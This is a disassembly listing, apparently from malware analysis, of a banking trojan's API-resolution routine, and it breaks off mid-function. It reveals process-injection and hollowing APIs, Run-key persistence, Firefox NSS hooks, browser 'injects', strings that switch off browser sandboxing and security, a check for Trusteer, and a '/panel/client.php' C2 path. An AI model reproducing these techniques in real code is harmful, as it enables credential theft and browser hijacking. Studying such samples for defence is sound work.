Function at 0x4010fa
Capabilities:
Allocate or change rwx memory
Compress data via winapi
Execute shellcode via indirect call

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x2c
push ebx
push esi
push edi
push 9
push str.127.0.0.1
call fcn.004010f0
and dword [0x4341d4], 0
push 0x11
push str._panel_client.php
mov dword [0x4341d0], eax
call fcn.004010f0
push 0xa
pop ebx
push ebx
push str.User32.dll
mov dword [0x4341cc], eax
call fcn.004010f0
push 0xc
push str.Kernel32.dll
mov dword [0x4343d0], eax
call fcn.004010f0
push 0xe
pop esi
push esi
push str.KernelBase.dll
mov dword [0x4343d4], eax
call fcn.004010f0
push ebx
push str.msvcrt.dll
mov dword [0x4343d8], eax
call fcn.004010f0
push 9
push str.ntdll.dll
mov dword [0x4343dc], eax
call fcn.004010f0
push 0xb
pop edi
push edi
push str.Shlwapi.dll
mov dword [0x4343e0], eax
call fcn.004010f0
add esp, 0x40
mov dword [0x4343e4], eax
push edi
push str.Shell32.dll
call fcn.004010f0
push edi
push str.Secur32.dll
mov dword [0x4343e8], eax
call fcn.004010f0
push 0xc
push str.Advapi32.dll
mov dword [0x4343ec], eax
call fcn.004010f0
push ebx
push str.ws2_32.dll
mov dword [0x4343f0], eax
call fcn.004010f0
push edi
push str.version.dll
mov dword [0x4343f4], eax
call fcn.004010f0
push 9
push str.Psapi.dll
mov dword [0x4343f8], eax
call fcn.004010f0
push edi
push str.wininet.dll
mov dword [0x4343fc], eax
call fcn.004010f0
push 9
push str.gdi32.dll
mov dword [0x434400], eax
call fcn.004010f0
add esp, 0x40
mov dword [0x434404], eax
push edi
push str.MessageBoxA
call fcn.004010f0
mov dword [0x43441c], eax
push 0x14
push str.GetWindowsDirectoryA
call fcn.004010f0
push 0x13
push 0x4272f8
mov dword [0x434420], eax
call fcn.004010f0
push ebx
push str.LocalAlloc
mov dword [0x434418], eax
call fcn.004010f0
push 9
push str.wsprintfA
mov dword [0x434424], eax
call fcn.004010f0
push 0x13
push 0x427324
mov dword [0x434428], eax
call fcn.004010f0
push 4
push str.free
mov dword [0x43442c], eax
call fcn.004010f0
push esi
push str.VirtualAllocEx
mov dword [0x434434], eax
call fcn.004010f0
add esp, 0x40
mov dword [0x434438], eax
push 0x12
pop edi
push edi
push str.WriteProcessMemory
call fcn.004010f0
push edi
push str.CreateRemoteThread
mov dword [0x43443c], eax
call fcn.004010f0
push 0xc
push 0x427380
mov dword [0x434440], eax
call fcn.004010f0
push esi
push 0x427390
mov dword [0x434444], eax
call fcn.004010f0
push 0x13
push str.PathRemoveFileSpecA
mov dword [0x434448], eax
call fcn.004010f0
push edi
push str.GetModuleFileNameA
mov dword [0x43444c], eax
call fcn.004010f0
push 0x11
push str.PathFindFileNameA
mov dword [0x434450], eax
call fcn.004010f0
push 7
pop ebx
push ebx
push str.strncmp
mov dword [0x434454], eax
call fcn.004010f0
add esp, 0x40
mov dword [0x434458], eax
push 9
push str._strnicmp
call fcn.004010f0
push 8
push str.lstrlenA
mov dword [0x43445c], eax
call fcn.004010f0
push 0xb
push 0x4273fc
mov dword [0x434460], eax
call fcn.004010f0
push 0x10
push str.SHGetFolderPathA
mov dword [0x434464], eax
call fcn.004010f0
mov dword [0x434468], eax
push 8
push str.lstrcpyA
call fcn.004010f0
push 8
push 0x427428
mov dword [0x43446c], eax
call fcn.004010f0
push 9
push str.CopyFileA
mov dword [0x434470], eax
call fcn.004010f0
push 0x15
push str.GetVolumeInformationA
mov dword [0x434474], eax
call fcn.004010f0
add esp, 0x40
mov dword [0x434478], eax
push esi
push str.GetUserNameExA
call fcn.004010f0
push edi
push str.LookupAccountNameA
mov dword [0x43447c], eax
call fcn.004010f0
push 0x16
push str.ConvertSidToStringSidA
mov dword [0x434480], eax
call fcn.004010f0
push 9
push str.LocalFree
mov dword [0x434484], eax
call fcn.004010f0
push 6
push str.malloc
mov dword [0x434488], eax
call fcn.004010f0
push 9
push str.lstrcmpiA
mov dword [0x434430], eax
call fcn.004010f0
push 8
push str.lstrcmpA
mov dword [0x434490], eax
call fcn.004010f0
push ebx
push str.StrStrA
mov dword [0x434494], eax
call fcn.004010f0
add esp, 0x40
mov dword [0x434498], eax
push 8
push str.StrStrIA
call fcn.004010f0
push 6
push str.strtol
mov dword [0x43449c], eax
call fcn.004010f0
push ebx
push str.realloc
mov dword [0x4344a0], eax
call fcn.004010f0
push 0xa
push str.WSAStartup
mov dword [0x4344a4], eax
call fcn.004010f0
push 6
push str.socket
mov dword [0x4344a8], eax
call fcn.004010f0
push 0xd
push str.gethostbyname
mov dword [0x4344ac], eax
call fcn.004010f0
push 5
push str.htons
mov dword [0x4344b0], eax
call fcn.004010f0
push ebx
push str.connect
mov dword [0x4344b4], eax
call fcn.004010f0
add esp, 0x40
mov dword [0x4344b8], eax
push 4
push str.send
call fcn.004010f0
push 4
push str.recv
mov dword [0x4344bc], eax
call fcn.004010f0
push 0xb
push str.closesocket
mov dword [0x4344c0], eax
call fcn.004010f0
push 0xa
push str.WSACleanup
mov dword [0x4344c4], eax
call fcn.004010f0
push 6
push str.memset
mov dword [0x4344c8], eax
call fcn.004010f0
push 6
push str.memcpy
mov dword [0x4344cc], eax
call fcn.004010f0
push 5
push 0x427548
mov dword [0x43448c], eax
call fcn.004010f0
push 9
push str.NtOpenKey
mov dword [0x4344d0], eax
call fcn.004010f0
add esp, 0x40
mov dword [0x4344d4], eax
push 0xd
push str.NtSetValueKey
call fcn.004010f0
push 0xb
push 0x42756c
mov dword [0x4344dc], eax
call fcn.004010f0
push esi
push str.CreateProcessA
mov dword [0x4344d8], eax
call fcn.004010f0
push 0x10
push str.NtCreateThreadEx
mov dword [0x4344e0], eax
call fcn.004010f0
push 0x10
push 0x42759c
mov dword [0x4345ac], eax
call fcn.004010f0
push 0xb
push str.FindWindowA
mov dword [0x4345b0], eax
call fcn.004010f0
push 0x14
push str.NtUnmapViewOfSection
mov dword [0x4345b4], eax
call fcn.004010f0
push 0x19
push str.NtQueryInformationProcess
mov dword [0x434674], eax
call fcn.004010f0
add esp, 0x40
mov dword [0x434678], eax
push 0x10
push str.GetThreadContext
call fcn.004010f0
push 0x10
push str.SetThreadContext
mov dword [0x43467c], eax
call fcn.004010f0
push 0x10
push str.SHFileOperationA
mov dword [0x434680], eax
call fcn.004010f0
mov dword [0x434684], eax
push esi
push str.FindFirstFileA
call fcn.004010f0
push 0xd
push str.FindNextFileA
mov dword [0x434688], eax
call fcn.004010f0
push 0x18
push str.GetWindowThreadProcessId
mov dword [0x43468c], eax
call fcn.004010f0
push 0x19
push str.InitializeCriticalSection
mov dword [0x4345b8], eax
call fcn.004010f0
push 0xc
push 0x427684
mov dword [0x4344ec], eax
call fcn.004010f0
add esp, 0x40
mov dword [0x4344f0], eax
push 0x14
push 0x427694
call fcn.004010f0
push 0x14
push 0x4276ac
mov dword [0x4344e4], eax
call fcn.004010f0
push 6
push str._errno
mov dword [0x4344e8], eax
call fcn.004010f0
push ebx
push str.tolower
mov dword [0x4344f4], eax
call fcn.004010f0
push ebx
push str.isdigit
mov dword [0x4344f8], eax
call fcn.004010f0
push ebx
push str.strtoul
mov dword [0x4344fc], eax
call fcn.004010f0
push 8
push str.isxdigit
mov dword [0x434500], eax
call fcn.004010f0
push 6
push str.strtod
mov dword [0x434504], eax
call fcn.004010f0
add esp, 0x40
mov dword [0x434508], eax
push 0x18
push 0x4276f8
call fcn.004010f0
push esi
push 0x427714
mov dword [0x43450c], eax
call fcn.004010f0
push 0xd
push 0x427724
mov dword [0x434510], eax
call fcn.004010f0
push ebx
push str.StrChrA
mov dword [0x434514], eax
call fcn.004010f0
push 9
push str.StrToIntA
mov dword [0x434518], eax
call fcn.004010f0
push 0x10
push str.GetModuleHandleA
mov dword [0x43451c], eax
call fcn.004010f0
push 0x17
push str.GetFileVersionInfoSizeA
mov dword [0x434520], eax
call fcn.004010f0
mov dword [0x434524], eax
push 0x13
pop ebx
push ebx
push str.GetFileVersionInfoA
call fcn.004010f0
add esp, 0x40
mov dword [0x434528], eax
push esi
push str.VerQueryValueA
call fcn.004010f0
push 0x14
push str.GetModuleInformation
mov dword [0x43452c], eax
call fcn.004010f0
push 6
push str.memcmp
mov dword [0x434530], eax
call fcn.004010f0
push 0x19
push str.ExpandEnvironmentStringsA
mov dword [0x434534], eax
call fcn.004010f0
push 0x1e
push str.GetPrivateProfileSectionNamesA
mov dword [0x434538], eax
call fcn.004010f0
push 0x18
push str.GetPrivateProfileStringA
mov dword [0x43453c], eax
call fcn.004010f0
push 0xb
push 0x427810
mov dword [0x434540], eax
call fcn.004010f0
push 8
push 0x42781c
mov dword [0x434544], eax
call fcn.004010f0
add esp, 0x40
mov dword [0x434548], eax
push 9
push 0x427828
call fcn.004010f0
push esi
push str.RegSetValueExA
mov dword [0x43454c], eax
call fcn.004010f0
push 0xd
push str.RegOpenKeyExA
mov dword [0x434550], eax
call fcn.004010f0
push 0xb
push str.RegCloseKey
mov dword [0x434554], eax
call fcn.004010f0
push 0xb
push 0x427860
mov dword [0x434558], eax
call fcn.004010f0
push 0xc
push str.ResumeThread
mov dword [0x43455c], eax
call fcn.004010f0
push esi
push str.IsWow64Process
mov dword [0x434560], eax
call fcn.004010f0
push ebx
push str.GetNativeSystemInfo
mov dword [0x434564], eax
call fcn.004010f0
add esp, 0x40
mov dword [0x434568], eax
push 0xb
push 0x4278a0
call fcn.004010f0
push 0xc
push str.CreateThread
mov dword [0x43456c], eax
call fcn.004010f0
mov dword [0x434570], eax
push 0xc
push str.GetUserNameW
call fcn.004010f0
push 0x10
push str.GetComputerNameW
mov dword [0x434574], eax
call fcn.004010f0
push 0xd
push str.GetVersionExA
mov dword [0x434578], eax
call fcn.004010f0
push 0x10
push str.CreateNamedPipeA
mov dword [0x43457c], eax
call fcn.004010f0
push 0x10
push str.ConnectNamedPipe
mov dword [0x434580], eax
call fcn.004010f0
push ebx
push str.DisconnectNamedPipe
mov dword [0x434584], eax
call fcn.004010f0
add esp, 0x40
mov dword [0x434588], eax
push 0x11
push str.InternetCrackUrlA
call fcn.004010f0
push 0xc
push str.GetTempPathA
mov dword [0x43458c], eax
call fcn.004010f0
push 0x10
push str.GetTempFileNameA
mov dword [0x434590], eax
call fcn.004010f0
push 0xd
push str.ShellExecuteA
mov dword [0x434594], eax
call fcn.004010f0
push 0xb
push str.ioctlsocket
mov dword [0x434598], eax
call fcn.004010f0
push 5
push str.ntohs
mov dword [0x43459c], eax
call fcn.004010f0
push 0xc
push str.CreateMutexA
mov dword [0x4345a0], eax
call fcn.004010f0
push 0xc
push str.ReleaseMutex
mov dword [0x4345a4], eax
call fcn.004010f0
add esp, 0x40
mov dword [0x4345a8], eax
push ebx
push 0x4279a8
call fcn.004010f0
push 0xb
push str.EnumWindows
mov dword [0x4345bc], eax
call fcn.004010f0
push ebx
push 0x4279c8
mov dword [0x4345c0], eax
call fcn.004010f0
push 0xb
push str.DeleteFileA
mov dword [0x4345c4], eax
call fcn.004010f0
push 0xf
pop ebx
push ebx
push str.PathFileExistsA
mov dword [0x4345c8], eax
call fcn.004010f0
mov dword [0x4345cc], eax
push 0x10
push str.CreateDirectoryA
call fcn.004010f0
push esi
push str.HttpQueryInfoA
mov dword [0x4345d0], eax
call fcn.004010f0
push esi
push str.HttpQueryInfoW
mov dword [0x4345d4], eax
call fcn.004010f0
add esp, 0x40
mov dword [0x4345d8], eax
push 0x11
push str.RtlCompressBuffer
call fcn.004010f0
push 0x1e
push str.RtlGetCompressionWorkSpaceSize
mov dword [0x4345dc], eax
call fcn.004010f0
push 0x10
push str.SetThreadDesktop
mov dword [0x4345e0], eax
call fcn.004010f0
push esi
push str.CreateDesktopA
mov dword [0x4345e4], eax
call fcn.004010f0
push 0xc
push str.OpenDesktopA
mov dword [0x4345e8], eax
call fcn.004010f0
push ebx
push str.TerminateThread
mov dword [0x4345ec], eax
call fcn.004010f0
push 0xc
push str.PostMessageA
mov dword [0x4345f0], eax
call fcn.004010f0
push 0xc
push str.SendMessageA
mov dword [0x4345f4], eax
call fcn.004010f0
add esp, 0x40
mov dword [0x4345f8], eax
push 0x14
push str.ChildWindowFromPoint
call fcn.004010f0
push esi
push str.ScreenToClient
mov dword [0x4345fc], eax
call fcn.004010f0
push 0xa
push str.MoveWindow
mov dword [0x434600], eax
call fcn.004010f0
push 0xd
push str.GetWindowRect
mov dword [0x434604], eax
call fcn.004010f0
push 0xd
push str.GetMenuItemID
mov dword [0x434608], eax
call fcn.004010f0
push 0x11
push str.MenuItemFromPoint
mov dword [0x43460c], eax
call fcn.004010f0
push 0x13
push str.RealGetWindowClassA
mov dword [0x434610], eax
call fcn.004010f0
push 8
push str.PtInRect
mov dword [0x434614], eax
call fcn.004010f0
add esp, 0x40
mov dword [0x434618], eax
push edi
push str.GetWindowPlacement
call fcn.004010f0
push esi
push str.SetWindowLongA
mov dword [0x43461c], eax
call fcn.004010f0
push esi
push str.GetWindowLongA
mov dword [0x434620], eax
call fcn.004010f0
push ebx
push str.WindowFromPoint
mov dword [0x434624], eax
call fcn.004010f0
push ebx
push str.SHAppBarMessage
mov dword [0x434628], eax
call fcn.004010f0
push 0x10
push str.RegQueryValueExA
mov dword [0x43462c], eax
call fcn.004010f0
push 0x10
push str.GetDesktopWindow
mov dword [0x434630], eax
call fcn.004010f0
push 8
push str.DeleteDC
mov dword [0x434634], eax
call fcn.004010f0
add esp, 0x40
mov dword [0x434638], eax
push 9
push str.ReleaseDC
call fcn.004010f0
push 0xc
push str.DeleteObject
mov dword [0x43463c], eax
call fcn.004010f0
push 9
push str.GetDIBits
mov dword [0x434640], eax
call fcn.004010f0
push 0xa
push str.StretchBlt
mov dword [0x434644], eax
call fcn.004010f0
push 0x11
push str.SetStretchBltMode
mov dword [0x434648], eax
call fcn.004010f0
push 0xc
push str.SelectObject
mov dword [0x43464c], eax
call fcn.004010f0
push edi
push str.CreateCompatibleDC
mov dword [0x434650], eax
call fcn.004010f0
push 0x16
push str.CreateCompatibleBitmap
mov dword [0x434654], eax
call fcn.004010f0
add esp, 0x40
mov dword [0x434658], eax
push 5
push str.GetDC
call fcn.004010f0
push ebx
push str.IsWindowVisible
mov dword [0x43465c], eax
call fcn.004010f0
push 9
push 0x427c70
mov dword [0x434660], eax
call fcn.004010f0
push 0xb
push str.PrintWindow
mov dword [0x434664], eax
call fcn.004010f0
push 0xc
mov dword [0x43466c], eax
push 0x427c88
call fcn.004010f0
push 0x11
push str.RtlInitAnsiString
mov dword [0x434670], eax
call fcn.004010f0
push 0x1c
push str.RtlAnsiStringToUnicodeString
mov dword [0x434690], eax
call fcn.004010f0
push 0xa
push str.LdrLoadDll
mov dword [0x434694], eax
call fcn.004010f0
add esp, 0x40
mov dword [0x434698], eax
push 0x16
push str.LdrGetProcedureAddress
call fcn.004010f0
push 0x14
push str.RtlFreeUnicodeString
mov dword [0x43469c], eax
call fcn.004010f0
push 0x13
push str.RtlCreateUserThread
mov dword [0x4346a0], eax
call fcn.004010f0
push 0xb
push str.Hello_World
mov dword [0x4346a4], eax
call fcn.004010f0
push 4
push str..exe
mov dword [0x4346a8], eax
call fcn.004010f0
push 1
push 0x427d30
mov dword [0x4346ac], eax
call fcn.004010f0
push 5
push 0x427d34
mov dword [0x4346b0], eax
call fcn.004010f0
push 4
push str.GET
mov dword [0x4346b4], eax
call fcn.004010f0
add esp, 0x40
mov dword [0x4346b8], eax
push 0xb
push str._HTTP_1.1_r_n
call fcn.004010f0
push 6
push str.Host:
mov dword [0x4346bc], eax
call fcn.004010f0
push 0x40
push str._r_nPragma:_no_cache_r_nContent_type:_text_html_r_nConnection:_close_r_n
mov dword [0x4346c0], eax
call fcn.004010f0
push 0x10
push str.Content_Length:
mov dword [0x4346c4], eax
call fcn.004010f0
push ebx
push str.HTTP_1.1_200_OK
mov dword [0x4346c8], eax
call fcn.004010f0
push 2
push 0x427dc0
mov dword [0x4346cc], eax
call fcn.004010f0
push esi
push str.Content_Length
mov dword [0x4346d0], eax
call fcn.004010f0
mov ebx, eax
push 0x11
push str.Transfer_Encoding
mov dword [0x4346d4], ebx
call fcn.004010f0
add esp, 0x40
push 7
pop esi
mov edi, eax
push esi
push str.chunked
mov dword [0x4346d8], edi
call fcn.004010f0
push 2
push 0x427df0
mov dword [0x4346dc], eax
call fcn.004010f0
push 2
push 0x427df4
mov dword [0x4346e0], eax
call fcn.004010f0
push 0x14
push str.RegistryUser_s_s
mov dword [0x4346e4], eax
call fcn.004010f0
push 0x2d
push str.SoftwareMicrosoftWindowsCurrentVersionRun
mov dword [0x4346e8], eax
call fcn.004010f0
push 0xb
push str.dllhost.exe
mov dword [0x4346ec], eax
call fcn.004010f0
push 4
push str.ping
mov dword [0x4346f0], eax
call fcn.004010f0
push 9
push str.binint32
mov dword [0x4346f4], eax
call fcn.004010f0
add esp, 0x40
mov dword [0x4346f8], eax
push 9
push str.binint64
call fcn.004010f0
push 0xc
push str.explorer.exe
mov dword [0x4346fc], eax
call fcn.004010f0
push 0xb
push str.firefox.exe
mov dword [0x434700], eax
call fcn.004010f0
push 0xa
push str.chrome.exe
mov dword [0x434704], eax
call fcn.004010f0
push 0xc
push str.iexplore.exe
mov dword [0x434708], eax
call fcn.004010f0
push 0x88
push str.powershell__noexit__command___console_::windowwidth__100__console_::windowheight__30___console_::bufferwidth___console_::windowwidth_
mov dword [0x434714], eax
call fcn.004010f0
push 0xa
push str.msedge.exe
mov dword [0x434718], eax
call fcn.004010f0
push 9
push str.brave.exe
mov dword [0x43470c], eax
call fcn.004010f0
add esp, 0x40
mov dword [0x434710], eax
push esi
push str.injects
call fcn.004010f0
push esi
push str.Firefox
mov dword [0x43471c], eax
call fcn.004010f0
push 6
push str.Chrome
mov dword [0x434724], eax
call fcn.004010f0
push 0x11
push str.Internet_Explorer
mov dword [0x434720], eax
call fcn.004010f0
push 0xa
push str.chrome.dll
mov dword [0x434728], eax
call fcn.004010f0
push 6
push str.BitBlt
mov dword [0x43472c], eax
call fcn.004010f0
push 8
push str.nss3.dll
mov dword [0x434668], eax
call fcn.004010f0
push 9
push str.nspr4.dll
mov dword [0x434730], eax
call fcn.004010f0
add esp, 0x40
mov dword [0x434734], eax
push esi
push str.PR_Read
call fcn.004010f0
push 8
push str.PR_Write
mov dword [0x434738], eax
call fcn.004010f0
push 6
push 0x427fb8
mov dword [0x43473c], eax
call fcn.004010f0
push 0x12
push str._r_nContent_Length:
mov dword [0x434740], eax
call fcn.004010f0
mov esi, eax
push 0xf
push str.Accept_Encoding
mov dword [0x434744], esi
call fcn.004010f0
push 8
push str.identity
mov dword [0x434748], eax
call fcn.004010f0
push 0xa
push str.Connection
mov dword [0x43474c], eax
mov dword [0x434750], ebx
mov dword [0x434754], edi
call fcn.004010f0
push 5
push str.close
mov dword [0x434758], eax
call fcn.004010f0
add esp, 0x40
mov dword [0x43475c], eax
push 0x10
pop ebx
push ebx
push str._r_nContent_Type:
call fcn.004010f0
push 9
pop edi
push edi
push str.text_html
mov dword [0x434760], eax
call fcn.004010f0
push 0xc
push str._r_nLocation:
mov dword [0x434764], eax
call fcn.004010f0
push 0x17
push str.X_HeyThere:_5eYEp80n3hM
mov dword [0x434768], eax
mov dword [0x43476c], esi
call fcn.004010f0
push 4
mov dword [0x434770], eax
pop esi
push esi
push str._r_n_r_n
call fcn.004010f0
push edi
push str._r_n_s:__r_n
mov dword [0x434774], eax
call fcn.004010f0
mov dword [0x434778], eax
mov eax, dword [0x4346d0]
push 8
push str._r_nHost:
mov dword [0x43477c], eax
call fcn.004010f0
push 0xa
push str.http_s_:__
mov dword [0x434780], eax
call fcn.004010f0
add esp, 0x40
mov dword [0x434784], eax
push 0xd
push str.log_s_s_d
call fcn.004010f0
push esi
push str.POST
mov dword [0x434788], eax
call fcn.004010f0
push edi
push str.__DOCTYPE
mov dword [0x43478c], eax
call fcn.004010f0
push 0x3d
push str._script_window.location.href__window.location.href___script_
mov dword [0x434790], eax
call fcn.004010f0
push 0x13
push str.InternetCloseHandle
mov dword [0x434794], eax
call fcn.004010f0
push 0x1a
push str.InternetQueryDataAvailable
mov dword [0x434798], eax
call fcn.004010f0
push ebx
push str.HttpOpenRequestW
mov dword [0x43479c], eax
call fcn.004010f0
push ebx
push str.InternetConnectW
mov dword [0x4347a0], eax
call fcn.004010f0
add esp, 0x40
mov dword [0x4347a4], eax
push ebx
push str.HttpSendRequestW
call fcn.004010f0
push ebx
push str.InternetReadFile
mov dword [0x4347a8], eax
call fcn.004010f0
push 0x13
push str.InternetReadFileExW
mov dword [0x4347ac], eax
call fcn.004010f0
push 0x11
push str.InternetWriteFile
mov dword [0x4347b0], eax
call fcn.004010f0
push edi
push str._appdata_
mov dword [0x4347b4], eax
call fcn.004010f0
push 0xf
push str._s_s_s_s.ini
mov dword [0x4347b8], eax
call fcn.004010f0
push 7
push str.Mozilla
mov dword [0x4347bc], eax
call fcn.004010f0
mov dword [0x4347c0], eax
mov eax, dword [0x434724]
push 8
push str.Profiles
mov dword [0x4347c4], eax
call fcn.004010f0
add esp, 0x40
mov dword [0x4347c8], eax
push 7
push str.Profile
call fcn.004010f0
push esi
push 0x4281bc
mov dword [0x4347cc], eax
call fcn.004010f0
push 0x14
push str._s_s_s_s_s_s.js
mov dword [0x4347d0], eax
call fcn.004010f0
push 5
push str.prefs
mov dword [0x4347d4], eax
call fcn.004010f0
push 0x19
push str.network.http.spdy.enabled
mov dword [0x4347d8], eax
call fcn.004010f0
push 0x1d
push str.browser.tabs.remote.autostart
mov dword [0x4347dc], eax
call fcn.004010f0
push 0x15d
push str.user_pref__network.http.spdy.enabled.v3_1___false___r_nuser_pref__network.http.spdy.enabled.v3___false___r_nuser_pref__network.http.spdy.enabled___false___r_nuser_pref__browser.tabs.remote.autostart___false___r_nuser_pref__browser.tabs.remote.autostart.2___false___r_nuser_pref__gfx.direct2d.disabled___true___r_nuser_pref__layers.acceleration.disabled___true__
mov dword [0x4347e0], eax
call fcn.004010f0
push 0x29
push str.SoftwareMicrosoftInternet_ExplorerMain
mov dword [0x4347e4], eax
call fcn.004010f0
add esp, 0x40
mov dword [0x4347e8], eax
push 0xd
push str.TabProcGrowth
call fcn.004010f0
push 0x43
push str.SoftwareMicrosoftWindowsCurrentVersionInternet_SettingsZones3
mov dword [0x4347ec], eax
call fcn.004010f0
push esi
push str.2500
mov dword [0x4347f0], eax
call fcn.004010f0
push 0x2e
push str.___disable_http2___use_spdyoff___disable_quic
mov dword [0x4347f4], eax
call fcn.004010f0
push 0x16
push str.CreateProcessInternalW
mov dword [0x4347f8], eax
call fcn.004010f0
push 0x15
push str.NoProtectedModeBanner
mov dword [0x4347fc], eax
call fcn.004010f0
push 6
push str.32768
mov dword [0x434800], eax
call fcn.004010f0
push 0x1d
push str._rundll32.exe_shell32.dll_61
mov dword [0x43481c], eax
call fcn.004010f0
add esp, 0x40
mov dword [0x434820], eax
push 0x3b
push str.SoftwareMicrosoftWindowsCurrentVersionExplorerAdvanced
call fcn.004010f0
push ebx
push str.TaskbarGlomLevel
mov dword [0x434824], eax
call fcn.004010f0
mov dword [0x434828], eax
push 0xc
push str.profiles.ini
call fcn.004010f0
push edi
push str._profile
mov dword [0x43482c], eax
call fcn.004010f0
push 0xf
push str.GoogleChrome_
mov dword [0x434830], eax
call fcn.004010f0
push 0x11
push str.cmd.exe__c_start
mov dword [0x434834], eax
call fcn.004010f0
push 0x65
push str.___no_sandbox___allow_no_sandbox_job___disable_3d_apis___disable_gpu___disable_d3d11___user_data_dir
mov dword [0x434838], eax
call fcn.004010f0
push 0xa
push str.User_Data_
mov dword [0x43483c], eax
call fcn.004010f0
add esp, 0x40
mov dword [0x434840], eax
push 0x11
push str.MozillaFirefox_
call fcn.004010f0
push 0xb
push str.IsRelative
mov dword [0x434844], eax
call fcn.004010f0
push 5
push str.Path
mov dword [0x434848], eax
call fcn.004010f0
push 0x15
push str.__no_remote__profile
mov dword [0x43484c], eax
call fcn.004010f0
push 0x1c
push str.info_d_d_d_d_s_s_d_d
mov dword [0x434850], eax
call fcn.004010f0
push 0xb
push str..pipe_s
mov dword [0x434858], eax
call fcn.004010f0
push esi
push str.open
mov dword [0x43485c], eax
call fcn.004010f0
push 0x1e2
push str.As_we_walked_along_the_flatblock_marina__I_was_calm_on_the_outside__but_thinking_all_the_time._So_now_it_was_to_be_Georgie_the_general__saying_what_we_should_do_and_what_not_to_do__and_Dim_as_his_mindless_greeding_bulldog._But_suddenly_I_viddied_that_thinking_was_for_the_gloopy_ones_and_that_the_oomny_ones_use__like__inspiration_and_what_Bog_sends._For_now_it_was_lovely_music_that_came_to_my_aid._There_was_a_window_open_with_the_stereo_on_and_I_viddied_right_at_once_what_to_do.
mov dword [0x434860], eax
call fcn.004010f0
add esp, 0x40
mov dword [0x434864], eax
push 0xd
push str.Shell_TrayWnd
call fcn.004010f0
push 0xc
push str.verclsid.exe
mov dword [0x434868], eax
call fcn.004010f0
push 2
push 0x428814
mov dword [0x43486c], eax
call fcn.004010f0
push 2
push 0x428818
mov dword [0x434870], eax
call fcn.004010f0
push edi
push str.child.dll
mov dword [0x434874], eax
call fcn.004010f0
push ebx
push str.:Zone.Identifier
mov dword [0x434878], eax
call fcn.004010f0
mov dword [0x43487c], eax
push 8
push str.Trusteer
call fcn.004010f0
add esp, 0x38
mov dword [0x434880], eax
push dword [0x434444]
push dword [0x4343d4]
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov esi, dword [sym.imp.KERNEL32.dll_GetProcAddress]
push eax
call esi
push dword [0x4343d0]
mov dword [0x433f80], eax
call eax
push dword [0x4343d4]
mov dword [ebp - 0xc], eax
call dword [0x433f80]
push dword [0x4343dc]
mov dword [ebp - 4], eax
call dword [0x433f80]
push dword [0x4343e0]
mov dword [ebp - 0x1c], eax
call dword [0x433f80]
push dword [0x4343e4]
mov dword [ebp - 0x10], eax
call dword [0x433f80]
push dword [0x4343e8]
mov dword [ebp - 8], eax
call dword [0x433f80]
push dword [0x4343ec]
mov dword [ebp - 0x14], eax
call dword [0x433f80]
push dword [0x4343f0]
mov edi, eax
call dword [0x433f80]
push dword [0x4343f4]
mov dword [ebp - 0x18], eax
call dword [0x433f80]
push dword [0x4343f8]
mov dword [ebp - 0x20], eax
call dword [0x433f80]
push dword [0x4343fc]
mov ebx, eax
call dword [0x433f80]
push dword [0x434400]
mov dword [ebp - 0x24], eax
call dword [0x433f80]
push dword [0x434404]
mov dword [ebp - 0x28], eax
call dword [0x433f80]
push dword [0x434448]
mov dword [ebp - 0x2c], eax
push dword [ebp - 4]
call esi
push dword [0x43441c]
mov esi, dword [ebp - 0xc]
push esi
mov dword [0x433f84], eax
call eax
push dword [0x434420]
mov dword [0x433f54], eax
push dword [ebp - 4]
call dword [0x433f84]
push dword [0x434418]
mov dword [0x433f58], eax
push dword [ebp - 4]
call dword [0x433f84]
push dword [0x434424]
mov dword [0x433f5c], eax
push dword [ebp - 4]
call dword [0x433f84]
push dword [0x434428]
mov dword [0x433f60], eax
push esi
call dword [0x433f84]
push dword [0x43442c]
mov dword [0x433f64], eax
push dword [ebp - 4]
call dword [0x433f84]
push dword [0x434430]
mov dword [0x433f68], eax
mov esi, dword [ebp - 0x1c]
push esi
call dword [0x433f84]
push dword [0x434434]
mov dword [0x433f6c], eax
push esi
call dword [0x433f84]
push dword [0x434438]
mov dword [0x433f70], eax
push dword [ebp - 4]
call dword [0x433f84]
push dword [0x43443c]
mov dword [0x433f74], eax
push dword [ebp - 4]
call dword [0x433f84]
push dword [0x434440]
mov dword [0x433f78], eax
push dword [ebp - 4]
call dword [0x433f84]
push dword [0x43444c]
mov dword [0x433f7c], eax
push dword [ebp - 8]
call dword [0x433f84]
push dword [0x434450]
mov dword [0x433f88], eax
push dword [ebp - 4]
call dword [0x433f84]
push dword [0x434454]
mov dword [0x433f8c], eax
push dword [ebp - 8]
call dword [0x433f84]
push dword [0x434458]
mov dword [0x433f90], eax
push esi
call dword [0x433f84]
push dword [0x43445c]
mov dword [0x433f94], eax
push esi
call dword [0x433f84]
push dword [0x434460]
mov dword [0x433f98], eax
push dword [ebp - 4]
call dword [0x433f84]
push dword [0x434464]
mov dword [0x433f9c], eax
push dword [ebp - 4]
call dword [0x433f84]
push dword [0x434468]
mov dword [0x433fa0], eax
push dword [ebp - 0x14]
call dword [0x433f84]
push dword [0x43446c]
mov dword [0x433fa4], eax
push dword [ebp - 4]
call dword [0x433f84]
push dword [0x434470]
mov dword [0x433fa8], eax
push dword [ebp - 4]
call dword [0x433f84]
push dword [0x434474]
mov dword [0x433fac], eax
push dword [ebp - 4]
call dword [0x433f84]
push dword [0x434478]
mov dword [0x433fb0], eax
push dword [ebp - 4]
call dword [0x433f84]
push dword [0x43447c]
mov dword [0x433fb4], eax
push edi
call dword [0x433f84]
push dword [0x434480]
mov edi, dword [ebp - 0x18]
push edi
mov dword [0x433fb8], eax
call dword [0x433f84]
push dword [0x434484]
mov dword [0x433fbc], eax
push edi
call dword [0x433f84]
mov dword [0x433fc0], eax
push dword [0x434488]
mov edi, dword [ebp - 4]
push edi
call dword [0x433f84]
push dword [0x43448c]
mov dword [0x433fc4], eax
push esi
call dword [0x433f84]
push dword [0x434494]
mov dword [0x433fc8], eax
push edi
call dword [0x433f84]
push dword [0x434490]
mov dword [0x433fd0], eax
push edi
call dword [0x433f84]
push dword [0x434498]
mov edi, dword [ebp - 8]
push edi
mov dword [0x433fcc], eax
call dword [0x433f84]
push dword [0x43449c]
mov dword [0x433fd4], eax
push edi
call dword [0x433f84]
push dword [0x4344a0]
mov dword [0x433fd8], eax
push esi
call dword [0x433f84]
push dword [0x4344a4]
mov dword [0x433fdc], eax
push esi
call dword [0x433f84]
push dword [0x4344a8]
mov edi, dword [ebp - 0x20]
push edi
